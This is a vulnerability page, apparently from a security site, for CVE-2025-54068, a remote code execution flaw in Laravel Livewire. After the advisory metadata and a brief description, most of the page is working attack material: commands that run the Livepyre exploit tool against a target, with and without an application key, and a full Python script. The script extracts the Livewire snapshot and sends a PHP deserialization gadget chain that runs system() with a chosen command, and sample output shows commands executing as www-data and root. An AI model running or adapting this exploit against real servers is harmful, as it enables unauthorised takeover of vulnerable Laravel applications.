# CVE-2025-54068 - Livewire RCE

- **URL:** https://hackindex.io/vulnerabilities/CVE-2025-54068
- **CVE:** CVE-2025-54068
- **GHSA:** GHSA-29cq-5w36-x7w3
- **CVSS score:** 9.2
- **CVSS vector:** CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
- **Type:** CWE-94
- **Authentication:** None
- **Complexity:** High
- **Privileges:** None
- **Affected versions:** >= 3.0.0-beta.1, < 3.6.3
- **Patched versions:** >=3.6.4
- **Published:** 2026-02-21
- **Updated:** 2026-02-26

Laravel Livewire components expose remote code execution via insecure snapshot handling. CVE-2025-54068 affects specific versions where component state hydration trusts client-side data. Attackers manipulate snapshots to trigger arbitrary PHP function execution.

### Proof of Concepts and Exploits

Below are general examples of techniques, methods, and proof-of-concept approaches used to demonstrate this vulnerability in a controlled environment.

#### Automated Exploitation

**[synacktiv/Livepyre](https://github.com/synacktiv/Livepyre?utm_source=hackindex)** - A tool designed to exploit CVE-2025-54068

## Vulnerability Verification

```bash
git clone https://github.com/synacktiv/Livepyre.git
cd Livepyre
python3 -m venv .venv
source .venv/bin/activate
python3 Livepyre.py -u http://$TARGET_IP:$PORT --check
```

## Exploitation With Application Key

```bash
git clone https://github.com/synacktiv/Livepyre.git
cd Livepyre
python3 -m venv .venv
source .venv/bin/activate
python3 Livepyre.py -u http://$TARGET_IP:$PORT -a 'base64:CGhMqYXFMzbOe048WS6a0iG8f6bBcTLVbP36bqqrvuA='
# [INFO] The remote livewire version is v3.6.2, the target is vulnerable.
# [INFO] Found snapshot(s). Running exploit.
# [INFO] Running exploit with APP_KEY.
# [INFO] Found 1 snapshot(s) available.
# [INFO] Sending payload system('id') to livewire.
# [INFO] Payload works, output:
# uid=1337(sail) gid=33(www-data) groups=33(www-data)
```

## Exploitation Without Application Key

```bash
git clone https://github.com/synacktiv/Livepyre.git
cd Livepyre
python3 -m venv .venv
source .venv/bin/activate
python3 Livepyre.py -u http://$TARGET_IP:$PORT
# [INFO] The remote livewire version is v3.6.2, the target is vulnerable.
# [INFO] Found snapshot(s). Running exploit.
# [INFO] Running exploit without APP_KEY.
# [INFO] Found 1 snapshot(s) available.
# [INFO] Found 2 possible param(s).
# [INFO] Checking for param(s) with object type to avoid bruteforce.
# [INFO] test is typed as an object, triggering RCE.
# [INFO] Sending payload system('id') to livewire.
# [INFO] Payload works, output:
# uid=1337(sail) gid=33(www-data) groups=33(www-data)
```

#### Single Python script

If you prefer using a single Python3 exploit script, you can easily read and adapt everything into one file using the template below.

```bash
python3 exploit.py
# [+] Targeting http://127.0.0.1:8000
# [+] CSRF Token acquired: FZECb5D7UF0rjvBhpqdj...
# [+] Snapshot extracted successfully
# [+] Component ID: Hw1rdEMoCb5vjgoqvt2P
# [+] Component Name: counter
# [+] Sending exploit payload...
# [*] Found param: count
# [*] Stage 1 payload being sent:
# [!] Stage 1 failed with status 500
# [*] Found param: name
# [*] Stage 1 payload being sent:
# [!] Stage 1 failed with status 500
# [*] Found param: obj
# [*] Stage 1 payload being sent:
# [*] Stage 2 payload being sent:
# [+] Response Status: 200
# [+] Response: 
# uid&=0(root) gid=0(root) groups=0(root)
#
# [+] Exploit successful. Command output received.
```

Update the source code as needed (e.g., target URL, port, and any payload values).

```python
"""
Simple single file CVE-2025-54068 exploit

Author: Joshua van der Poll
Website: https://hackindex.io/services/web/exploitation/cve-2025-54068-livewire-rce
"""
import requests
import re
import json
import sys
import html

TARGET_IP = "127.0.0.1" # Change me
PORT = "8000" # Change me
BASE_URL = f"http://{TARGET_IP}:{PORT}"
COMMAND = "id" # Change me

def get_csrf_token(session):
    response = session.get(BASE_URL)
    
    patterns = [
        r'<meta name="csrf-token" content="([^"]+)"',
        r'data-csrf="([^"]+)"',
    ]
    
    for pattern in patterns:
        match = re.search(pattern, response.text)
        if match:
            return match.group(1)
    
    raise Exception("CSRF token not found")

def get_livewire_state(session):
    response = session.get(BASE_URL)
    html_content = response.text
    
    snapshot_match = re.search(r'wire:snapshot="([^"]+)"', html_content)
    if not snapshot_match:
        raise Exception("wire:snapshot not found")
    
    snapshot_raw = snapshot_match.group(1)
    snapshot_decoded = html.unescape(snapshot_raw)
    snapshot_json = json.loads(snapshot_decoded)
    
    return snapshot_json

def exploit(session, csrf_token, snapshot_json):
    url = f"{BASE_URL}/livewire/update"
    
    final_param_name = None
    for param in snapshot_json["data"]:
        print(f"[*] Found param: {param}")
        
        # Stage 1: Cast the object property to an array
        snapshot_str = json.dumps(snapshot_json)
        payload_stage1={"_token":csrf_token,"components":[{"snapshot":snapshot_str,"updates":{param:[]},"calls":[]}]}
        
        headers = {
            "Content-Type": "application/json",
            "Accept": "application/json",
            "X-Livewire": "true",
        }
        
        print("[*] Stage 1 payload being sent:")
        
        response_stage1 = session.post(url, json=payload_stage1, headers=headers)
        if response_stage1.status_code != 200:
            print(f"[!] Stage 1 failed with status {response_stage1.status_code}")
            continue
        
        response_data = response_stage1.json()
        try:
            new_snapshot = response_data["components"][0]["snapshot"]
        except (KeyError, IndexError):
            print("[!] Failed to extract new snapshot from stage 1 response")
            continue

        final_param_name = param
        
    if not new_snapshot:
        raise Exception("[!] No valid snapshot obtained from stage 1")

    # Stage 2: Build and send the RCE payload
    json_payload={"_token":csrf_token,"components":[{"snapshot":new_snapshot,"updates":{"TARGET":[1,[{"a":[{"__toString":"phpversion","close":[[[{"chained":["O:38:\"Illuminate\\Broadcasting\\BroadcastEvent\":4:{s:5:\"dummy\";O:40:\"Illuminate\\Broadcasting\\PendingBroadcast\":2:{s:9:\"\u0000*\u0000events\";O:31:\"Illuminate\\Validation\\Validator\":1:{s:10:\"extensions\";a:1:{s:0:\"\";s:[FUNCTION_LEN]:\"[FUNCTION]\";}}s:8:\"\u0000*\u0000event\";s:[PARAM_LEN]:\"[PARAM]\";}s:10:\"connection\";N;s:5:\"queue\";N;s:5:\"event\";O:37:\"Illuminate\\Notifications\\Notification\":0:{}}"]},{"s":"form","class":"Illuminate\\Broadcasting\\BroadcastEvent"}],"dispatchNextJobInChain"],{"s":"clctn","class":"Laravel\\SerializableClosure\\Serializers\\Signed"}]},{"s":"clctn","class":"GuzzleHttp\\Psr7\\FnStream"}],"b":[{"__toString":[[[None,{"s":"mdl","class":"Laravel\\Prompts\\Terminal"}],"exit"],{"s":"clctn","class":"Laravel\\SerializableClosure\\Serializers\\Signed"}]},{"s":"clctn","class":"GuzzleHttp\\Psr7\\FnStream"}]},{"class":"League\\Flysystem\\UrlGeneration\\ShardedPrefixPublicUrlGenerator","s":"clctn"}]]},"calls":[]}]}
    updated_updates = json_payload["components"][0]["updates"]
    updated_updates[final_param_name] = updated_updates.pop("TARGET")
    function = "system" # Change this if needed
    user_payload = json_payload["components"][0]["updates"][final_param_name][1][0]["a"][0]["close"][0][0][0]["chained"][0]
    user_payload = user_payload.replace("[FUNCTION_LEN]", str(len(function)))
    user_payload = user_payload.replace("[FUNCTION]", function)
    user_payload = user_payload.replace("[PARAM_LEN]", str(len(COMMAND)))
    user_payload = user_payload.replace("[PARAM]", COMMAND)
    json_payload["components"][0]["updates"][final_param_name][1][0]["a"][0]["close"][0][0][0]["chained"][0] = user_payload
    
    print("[*] Stage 2 payload being sent:")
    
    response_stage2 = session.post(url, json=json_payload, headers=headers)
    return response_stage2.text, response_stage2.status_code

def main():
    session = requests.Session()
    try:
        print(f"[+] Targeting {BASE_URL}")
        
        csrf_token = get_csrf_token(session)
        print(f"[+] CSRF Token acquired: {csrf_token[:20]}...")
        
        snapshot_json = get_livewire_state(session)
        print(f"[+] Snapshot extracted successfully")
        print(f"[+] Component ID: {snapshot_json['memo']['id']}")
        print(f"[+] Component Name: {snapshot_json['memo']['name']}")
        
        print(f"[+] Sending exploit payload...")
        response, status_code = exploit(session, csrf_token, snapshot_json)
        
        print(f"[+] Response Status: {status_code}")
        print(f"[+] Response: \n{response[:2000]}")
        
        if "uid=" in response or "root" in response or "www-data" in response:
            print("[+] Exploit successful. Command output received.")
        elif status_code == 500:
            print("[-] Server error. Check payload compatibility.")
        else:
            print("[-] Exploit failed. Check response for errors.")
            
    except Exception as e:
        print(f"[-] Error: {e}")
        sys.exit(1)

if __name__ == "__main__":
    main()
```
